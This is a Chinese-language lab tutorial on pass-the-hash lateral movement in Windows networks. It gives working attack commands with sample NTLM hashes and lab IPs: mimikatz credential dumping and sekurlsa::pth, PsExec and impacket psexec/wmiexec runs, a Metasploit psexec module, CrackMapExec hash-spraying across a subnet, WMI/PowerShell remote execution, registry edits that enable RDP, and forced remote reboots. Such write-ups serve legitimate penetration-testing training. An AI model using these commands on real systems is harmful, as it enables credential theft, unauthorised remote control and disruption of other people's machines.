Skip to content

PTH(pass-the-hash) HASH传递

pass-the-hash 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。

pass the hash 原理:

  • 在 Windows 系统中,通常会使用 NTLM 身份认证
  • NTLM 认证不使用明文口令,而是使用口令加密后的 hash 值,hash 值由系统 API 生成(例如 LsaLogonUser)
  • hash 分为 LM hash 和 NT hash,如果密码长度大于 15,那么无法生成 LM hash。从 Windows Vista 和 Windows Server 2008 开始,微软默认禁用 LM hash
  • 如果攻击者获得了 hash,就能够在身份验证的时候模拟该用户(即跳过调用API 生成 hash 的过程)

这类攻击适用于:

  • 域/工作组环境
  • 可以获得 hash,但是条件不允许对 hash 爆破
  • 内网中存在和当前机器相同的密码

微软也对 pth 打过补丁,然而在测试中发现,在打了补丁后,常规的 Pass The Hash 已经无法成功,唯独默

认的 Administrator(SID 500)账号例外,利用这个账号仍可以进行 Pass The Hash 远程 ipc 连接。

如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。

从 windows 到 windows 横向 pth 这一类攻击方法比较广泛。

mimitkaz pth

privilege::debug

sekurlsa::logonpasswords

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt

image-20230817093405849

得到 hash 后进行

privilege::debug

sekurlsa::pth /user:administrator /domain:workgroup /ntlm:b742dda9a650e44f6285fafae9d1daaa

成功后 会弹出终端 cmd

image-20230817093705710

psexec

psexec 是 windows 官方自带的,不会存在查杀问题,属于 pstools工具包利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务。利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。,对方开放 445 端口,就相当于开放了 smb 协议。

在使用 PsExec 时需要注意以下几点:

  • 需要远程系统开启 admin$ 共享(默认是开启的)
  • 因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口
  • 在使用 IPC$ 连接目标系统后,不需要输入账户和密码。
  • 在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。
  • 使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是administrator 权限的 shell
  • 在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能只能依靠账号和密码进行传递。

psexec 第一种:先有 ipc 链接,psexec 需要明文或 hash 传递

PsExec64.exe /accepteula /s \\192.168.1.16 -u Administrator -p 12serverbendi.. cmd

-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框 -s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell

直接直接执行回显

-u 域\用户名

-p 密码

PsExec.exe /accepteula /s \\192.168.1.16 -u Administrator -p 12serverbendi.. cmd /c "ipconfig"

image-20230817095333153

上面是建立在明文之上 下面 hash 下进行登录

psexec -hashes aad3b435b51404eeaad3b435b51404ee:cac8f236f7a5ebbd80db7df164231ec8 ./[email protected]

exe实测不成功,使用工具包py成功

image-20230817221352893

亦可使用MSF中psexec模块

use exploit/windows/smb/psexec

set SMBUser Administrator

set rhosts 192.168.1.12

set smbpass aad3b435b51404eeaad3b435b51404ee:cac8f236f7a5ebbd80db7df164231ec8

image-20230817223017200

CrackMapExec

CrackMapExec 可以对 C 段中的主机进行批量 pth,也可以直接下载,项目地址: https://github.com/byt3bl33d3r/CrackMapExec.git

使用命令:

对 192.168.1.0/24 C 段进行批量 pass the hash

crackmapexec smb 192.168.1.0/24 -u administrator -H cac8f236f7a5ebbd80db7df164231ec8

对 192.168.1.0/24 C 段进行批量 pass the hash

image-20230817224313768

WMI

WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中

使用 WMIC 服务连接

需要目标主机开放 135 和 445 端口( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445 端⼝传回显)

wmic /node:192.168.1.12 /user:administrator /password:12serverbendi.. process call create "cmd.exe /c ipconfig > c:\ip.txt"

image-20230820182703125

在12的C盘下新增ip.txt

image-20230820182854239

之后建立 IPC$ ,使用 type 读取执行结果

net use \\192.168.1.12\ipc$ "08serverbendi.." /user:administrator

type \\192.168.1.12\c$\ip.txt

image-20230820183025181

wmiexec.py

在 impacket 工具包里有 wmiexec.py 脚本,可以用来直接获取 shell

其他攻击手法可以看下 readme,这里只简单的对 pth 做一下实验:

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:cac8f236f7a5ebbd80db7df164231ec8 [email protected] "whoami"

wmiexec.py 的 hash 参数格式为 LM Hash:NT Hash

00000000000000000000000000000000 这个部分可以随便填写

image-20230820183428121

wmiexec.vbs

wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能,wmiexec.vbs 下载地

址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs

cscript //nologo wmiexec.vbs /shell 192.168.1.12 administrator 08serverbendi..

image-20230820183651839

Invoke-WmiCommand

Invoke-WmiCommand.ps1 是 PowerSploit 工具包里的一部分,该脚本是利用Powershell 调用 WMI 来远程执行命令。

在 Powershell 中运行以下命令

# 导入 Invoke-WmiCommand.ps1 脚本

Import-Module .\Invoke-WmiCommand.ps1

\# 指定目标系统用户名

$User = ".\administrator"

\# 指定目标系统的密码

$Password = ConvertTo-SecureString -String "08serverbendi.." -AsPlainText -Force

\# 将账号和密码整合起来,以便导入 Credential

$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password

\# 指定要执行的命令和目标 IP

$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.1.12

\# 将执行结果输出到屏幕上

$Remote.PayloadOutput

如果出现

image-20230820185707128

只需要放开权限就行。

set-ExecutionPolicy RemoteSigned

image-20230820185739643

最终执行结果:

image-20230820190333017

Invoke-WMIMethod

Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指定程序。

指定目标系统用户名

$User=".\administrator"

指定目标系统密码

$Password=ConvertTo-SecureString -String "08serverbendi.." -AsPlainText -Force

将账号和密码整合起来,以便导入 Credential 中

$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password

在远程系统中运行 calc.exe 命令

Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.1.12" -Credential $Cred

12新增计算器进程::

image-20230820190755777

其他命令

使用 wmic 远程开启目标的 RDP

适于 Windows xp、server 2003

wmic /node:192.168.7.7 /user:administrator /password:123456 PATH win32_
terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

适于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改为目标的 hostname

wmic /node:192.168.1.12 /user:administrator /password:08serverbendi.. RDTOGGLE WHERE ServerName='08server-dc' call SetAllowTSConnections 1

或者

wmic /node:192.168.1.12 /user:administrator /password:08serverbendi.. process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

08server和12server均执行成功:image-20230820191234169

image-20230820191325405

可以看到目标上的远程终端已经开启。

判断 RDP 有没有开可以使用以下命令,如果返回 0 表示开启,返回 1 表示关闭。

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

远程重启机子

wmic /node:192.168.1.12 /user:administrator /password:08serverbendi.. process call create "shutdown.exe -r -f -t 0"